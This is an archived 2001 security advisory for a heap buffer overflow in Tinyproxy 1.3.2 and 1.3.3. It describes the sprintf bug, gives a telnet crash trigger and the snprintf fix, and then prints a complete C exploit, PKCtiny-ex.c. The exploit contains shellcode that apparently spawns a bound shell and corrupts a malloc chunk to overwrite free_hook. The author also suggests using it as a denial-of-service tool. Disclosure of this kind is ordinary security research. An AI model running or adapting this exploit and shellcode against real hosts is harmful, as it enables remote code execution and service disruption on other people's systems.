pkc002.txt

2001-02-02T00:00:00
ID PACKETSTORM:24210
Type packetstorm
Reporter Cyrax
Modified 2001-02-02T00:00:00

Description

                                        
                                            `/* pkc002.txt */  
  
-=[ SECURITY ADVISORY #002 ]=-  
  
_____________ _______  
| \ [www.pkcrew.org] / \  
\ | ______ / ___ \  
| | |_ _| ___ | / \___|  
| | | | / _| | |  
| _______/ | | / / | |  
| / | _ < | | ___  
| | [PkC] | | \ \ | \_____/ |  
_| |_ _| |_ \ \_ \ |  
|_______| |______| |____| \__________/  
  
[ Packet Knights Crew ]  
  
-=[ SECURITY ADVISORY #002 ]=-  
  
  
http://www.pkcrew.org  
  
Author : |CyRaX| <cyrax@pkcrew.org>  
  
Application : Tinyproxy version 1.3.2 and 1.3.3  
  
Type : heap buffer overflow  
  
--- The Problem ---  
  
Function http_err in utils.c :  
  
int httperr(struct conn_s *connptr, int err, char *msg)  
{  
char *outbuf;  
[..]  
outbuf = xmalloc(BUFFER);  
sprintf(outbuf, premsg, err, msg, msg, err, msg, VERSION);  
  
  
where BUFFER is defined 2048.  
as you can see msg is copied 3 times into outbuf.. so we can overflow it.  
We can write what we want in msg by putting something different from  
"http://" in the connect request  
  
bash-2.03# telnet 0 8888  
Trying 0.0.0.0...  
Connected to 0.  
Escape character is '^]'.  
connect [lots of A]://  
Connection closed by foreign host.  
  
  
  
--- The solution ---  
  
change the sprintf into snprintf:  
  
snprintf(outbuf,BUFFER,premsg,err,msg,msg,err,msg,VERSION);  
  
(authors were contacted)  
  
--- The exploitation ---  
  
Exploiting this program is hard. The problem is that nothing is allocated  
between the malloc of our buf and the bugged sprintf. To exploit we must  
overwrite any structure after our buf.. but in many cases there's nothing  
after it. For some values of the size of the buffer that we send the target  
is not at the end.. so we can overwrite something. Those values changes in  
dependence of which distribution you run. Unfortunately for redhat 7.0 and  
slackware I wasn't unable to hit correctly the struct. For the values that  
make segfault free() the chunk is not hitted by a string that we're able  
to control. I don't have more time to dedicate to this xploit. I include it so  
if someone got more time can try it on other distros.  
Anyway.. you can always use it as a dos.. setting a large buffsize:  
the sprintf will segfault trying to write out of the heap.  
  
/* pkc002.txt */  
  
--- PKCtiny-ex.c  
/*  
* Exploit for tinyproxy 1.3.2 and 1.3.3  
* by |CyRaX| <cyrax@pkcrew.org>  
* Packet Knights Crew - www.pkcrew.org  
* READ THE ADVISORY FIRST !  
* Greetz :  
* bikappa: for some help  
* all the pkc members expecially recidjvo, asynchro and cthulhu  
* all the other friends  
*/  
  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <netinet/in.h>  
  
char jmps[]="\xeb\x0e";  
  
char c0de[]="\xeb\x0e\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90"  
"\x89\xe5"  
"\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"  
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"  
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"  
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"  
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"  
"\x80\xea\x27\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x1f\x5e"  
"\x80\x46\x04\x01"  
"\x80\x06\x01"  
"\x89\x75"  
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"  
"\x8d\x55\x0c\xcd\x80\xe8\xdc\xff\xff\xff\x2e\x62\x69\x6e\x2e\x73\x68";  
  
void usage();  
  
void usage(){  
printf("Exploit for Tinyproxy 1.3.2 and 1.3.3 by |CyRaX| <cyrax@pkcrew.org>\n");  
printf("Packet Knights Crew - http://www.pkcrew.org\n");  
printf("please.. READ the advisory first!\n");  
printf("Usage : ./PKCtiny-ex <host> <port> <buf_size> <struct offset> <free_hook> <shellcode>\n");  
printf("buf_size is the size of the buf we send\n");  
printf("struct offset is the distance from the beginning of the buffer we send where we\n");  
printf(" we put the malloc chunk struct!\n");  
printf("free_hook is the address of the free_hook function pointer\n");  
printf("shellcode is the address of the shellcode (you don't neet to hit it correctly\n");  
printf(" you can just hope to it a jump\n");  
printf("\nfree_hook and shellcode must be given in 0xaddress format\n");  
exit(0);  
}  
  
int main(int argc, char **argv){  
int s,i,err,pid[5];  
struct sockaddr_in dst;  
struct malloc_chunk{  
unsigned int ps;  
unsigned int sz;  
struct malloc_chunk *fd;  
struct malloc_chunk *bk;  
}mc;  
char *magic,*sndbuff;  
unsigned long FREE_HOOKZ,SHELLCODE;  
if(argc<5)usage();  
magic=(char *)malloc(atoi(argv[3])+1);  
sndbuff=(char *)malloc(atoi(argv[3])+30);  
memset(magic,'\x90',atoi(argv[3]));  
  
SHELLCODE=strtol(argv[6],NULL,16);  
FREE_HOOKZ=strtol(argv[5],NULL,16);  
  
  
dst.sin_addr.s_addr=inet_addr(argv[1]);  
dst.sin_port=htons(atoi(argv[2]));  
dst.sin_family=AF_INET;  
mc.ps=0xffffffff & ~1;  
mc.sz=0xffffffff;  
mc.fd=(struct malloc_chunk *)(SHELLCODE);  
mc.bk=(struct malloc_chunk *)(FREE_HOOKZ-8);  
  
s=socket(AF_INET,SOCK_STREAM,0);  
connect(s,(struct sockaddr *)&dst,sizeof(dst));  
memcpy(magic+atoi(argv[4]),&mc,sizeof(mc));  
  
if((atoi(argv[3])/2)<atoi(argv[4])){  
/* putting jmps and shellcode before the struct */  
for(i=0;i<(atoi(argv[4])-strlen(c0de)-10);i+=2){  
memcpy(magic+i,jmps,2);  
}  
}  
else {  
/* putting jmps and shellcode after the struct */  
for(i=atoi(argv[4])+sizeof(mc);i<atoi(argv[3])-10-strlen(c0de);i+=2){  
memcpy(magic+i,jmps,2);  
}  
}  
memcpy(magic+i,c0de,strlen(c0de));  
  
magic[atoi(argv[3])]=0;  
  
printf("strlen magic is %i\n",strlen(magic));  
sndbuff[snprintf(sndbuff,atoi(argv[3])+20,"connect %s://\n",magic)]=0;  
printf("shooting\n");  
err=send(s,sndbuff,strlen(sndbuff),0);  
}  
  
--- PKCtiny-ex.c  
`